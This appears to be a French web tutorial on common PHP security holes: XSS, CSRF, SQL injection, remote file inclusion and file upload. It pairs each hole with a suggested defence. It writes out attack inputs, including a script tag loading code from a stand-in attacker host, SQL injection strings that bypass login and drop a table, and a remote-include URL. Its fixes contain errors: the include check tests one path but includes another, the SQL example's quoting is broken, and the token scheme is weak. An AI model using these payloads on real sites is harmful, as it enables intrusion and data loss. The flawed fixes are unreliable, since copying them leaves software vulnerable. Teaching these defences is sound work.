Failles de sécurité en PHP

failles de sécurité

Déjouez les failles de sécurité de PHP et protégez votre ordinateur et votre site web.

Les failles de sécurité sont la hantise de tout programmeur ou webmaster.
Elles sont constamment chassées, traquées afin de ne laisser aucune porte d’entrée au backdoor, ouverte aux visiteurs malintentionnés. Nous allons voir ici les failles les plus courantes ainsi que des méthodes simples et efficaces pour s’en protéger. Bien évidemment, nous ne donnerons pas de codes dangereux pouvant être utilisés pour causer des dégâts sur des sites internet. Si vous utilisez des outils (Framework, CMS…), il n’y a qu’une solution pour être au courant des dernières corrections : la veille ! Que ce soit par le biais des mailing-lists ou en visitant régulièrement leur site internet, maintenez toujours à jour ces outils.

01 – XSS 1/2

Les failles XSS, ou « Cross-Site Scripting », permettent d’injecter du code directement dans une page par l’intermédiaire d’une porte d’entrée tel qu’un paramètre dans une URL, en POST, ou par l’intermédiaire d’un formulaire. Le plus souvent, cette faille est utilisée dans l’optique de capturée les cookies d’identification des utilisateurs. Les failles de ce type, qui se cachent souvent dans les actions les plus simples, ne doivent surtout pas être négligées. Nous distinguons deux types de failles XSS : les failles dîtes « Reflected XSS » et les failles dîtes « Stored XSS » exploitent un code malveillant directement enregistré dans le site internet (sur un forum ou un livre d’or par exemple).

02 – XSS 2/2

Plus en détail, imaginez qu’à l’issue d’une inscription ou pour afficher une notification, vous faites passer directement le message à l’aide d’un paramètre GET, par exemple :
http://www.monsite.fr/page.php?message=Bienvenue+Nicolas+!
Un utilisateur malintentionné pourrait sans problème injecter un code JavaScript exécutant ou récupérant des informations :
http://www.monsite.fr/page.php?message=<script+src="http://sitepirate.com/mechant.js"></script>
Si vous récupérez le paramètre et l’affichez directement sans traitement, le code JavaScript sera exécuté. Connaissant cela, vous pouvez échapper à ce genre de vulnérabilité en utilisant la fonction htmlentities(). Votre code devient alors :
echo htmlentities($_GET['message'], ENT_QUOTES);

03 – XSRF 1/2

Les failles XSRF (ou CSRF suivant les sources) sont majoritairement utilisées pour flooder ou spammer des scripts où l’utilisateur peut entrer un message (livre d’or, forum…), mais elles peuvent également être utilisées dans des contextes bien plus graves : l’exploitation d’une session administrateur pour exécuter des actions dans un espace de gestion par exemple. Pour cela, le pirate simule les en-têtes HTTP capturées lors de l’entrée d’un vrai message (récupérables via un simple navigateur comme Firefox), puis les cache dans un fichier (comme une image par exemple) qu’il publiera sur un site à fort trafic (comme avatar distant sur un forum visité par exemple). De ce fait, chaque affichage de l’image piégée, un message sera posté sur le livre d’or ou le forum victime.

04 – XSRF 2/2

Pour vous en protéger, vous pouvez vérifier que le message a bien été envoyé à partir de votre formulaire en utilisant un token. Générer un token consiste à créer une chaîne à usage unique (basée sur le timestamp actuel par exemple) et de le transmettre avec le formulaire en le stockant également dans une session. Dans la page de traitement, vous n’aurez plus qu’à vérifier que le token envoyé correspond à celui en session.

05 – Injections SQL 1/2

Les injections SQL peuvent représenter un gros risque, surtout dans le cas où vous ne faites pas les sauvegardes de vos bases de données régulièrement : elles peuvent amener à une perte totale des données stockées. Prenons comme exemple un simple formulaire de connexion à un espace membre, contenant deux champs appelés respectivement username et password. Prenons également la requête de vérification :
$requete = "SELECT * FROM membres WHERE username=" . $_POST['username'] . " AND password=" . md5($_POST['password']) . "";
Admettons que l’utilisateur entre dans le champ username la séquence suivante:
' OR 1 = 1;#
En SQL, le symbole # représente un commentaire. Dès lors, la requête s’apparenterait à:
$requete = "SELECT * FROM membres WHERE username=" OR 1 = 1";
La seconde condition étant remplie, la requête va être validée et l’utilisateur pourra, suivant votre script, récupérer des données ou bien exécuter des actions destructrices. Admettons qu’il entre dans le champ username la séquence suivante :
' OR 1 = 1; DROP TABLE membres #
La requête « DROP TABLE membres », qui supprimera complètement la table membres, sera exécutée.

06 – Injections SQL 2/2

Afin de vous protéger contre ce type d’attaques, vous pouvez dans un premier temps créer un utilisateur MySQL qui disposera des permissions dont votre script a besoin.
Par exemple, si vous ne faites que de la sélection de données, limitez ses permissions à SELECT. Ensuite, traitez toutes les valeurs entrées par un utilisateur, que ce soit POST, GET, SESSION ou COOKIE, grâce à des fonctions comme mysql_real_escape_string() qui se chargeront de préparer la valeur pour enlever tout danger ou bien encore grâce à une connexion PDO, qui a l’avantage de préparer les données correctement et proprement. Bien sûr, si vous connaissez déjà le type de valeur attendue, vous pouvez utiliser des fonctions propres de ce type. Par exemple, si vous attendez un entier, vous pouvez directement tester et filtrer grâce à intval() tout en anticipant le fait qu’une chaîne traitée avec cette fonction retournera 0.

07 – Include / Require 1/3

Dans le cas de l’utilisation de pseudo-frames, vous serez peut être amené à spécifier en paramètre une valeur qui correspond à la page à inclure. Beaucoup seront tentés de faire directement le code suivant :
include($_GET['page']);
Cependant, ce mode présente une faille importante. En effet, si un visiteur malveillant entre : http://www.site.com/index.php?page=http://sitehacker.com/bad.php, le code inclus dans bad.php sera exécuté dans la page du site victime et pourra alors causer de sérieux dégâts.

08 – Include / Require 2/3

La façon la plus simple de se protéger contre ce type de faille est d’utiliser la fonction basename(). En effet, elle va décomposer le paramètre soumis et, dans le cas où c’est un chemin (ou une adresse web), elle retournera la dernière partie. Couplée à un test d’existence, cette fonction vous protègera :
$file = basename($_GET['page']) . ".php";
if (file_exists("mes_pages/" . $file)) {
include($file);
} else {
include("mes_pages/defaut.php");
}

09 – Include / Require 3/3

Dans le code ci-dessus, nous considérons que chacune des pages à inclure est au format PHP et stockée dans le répertoire « ./mes_pages ». Dès lors, un appel vers l’adresse http://www.site.com/index.php?page=contact testera en premier lieu si la page contact.php existe dans le dossier mentionné ci-dessus et, le cas échéant, l’inclura. Par contre, un appel vers l’adresse http://www.site.com/index.php?page=http://sitehacker.com/bad.php transformera $_GET[‘page’] en bad par le biais de la fonction basename() et, de ce fait, testera l’existence du fichier mes_pages/bad.php qui sera inexistant. La page defaut.php sera alors appelée.

10 – Upload de fichiers

Cette faille de sécurité est similaire à celle mentionnée dans l’étape précédente. Lorsque vous utilisez un formulaire d’upload de fichier pour permettre de mettre un avatar en ligne par exemple, l’utilisateur peut alors déposer directement des fichiers sur votre serveur. Il n’y a malheureusement, pas de solution miracle pour se protéger des attaques, néanmoins, appliquer ces quelques conseils pourra en éviter 99,9%.
Premièrement, renommez le fichier uploadé et ne communiquez jamais directement son chemin d’accès. Ainsi, aucun visiteur malveillant ne pourra connaître le chemin d’accès direct vers les fichiers qu’il transférera. Dans le cas des images, vérifiez qu’elles sont correctes grâce à getimagesize() ou bien reconstruisez-les avec les fonctions de la librairie GD.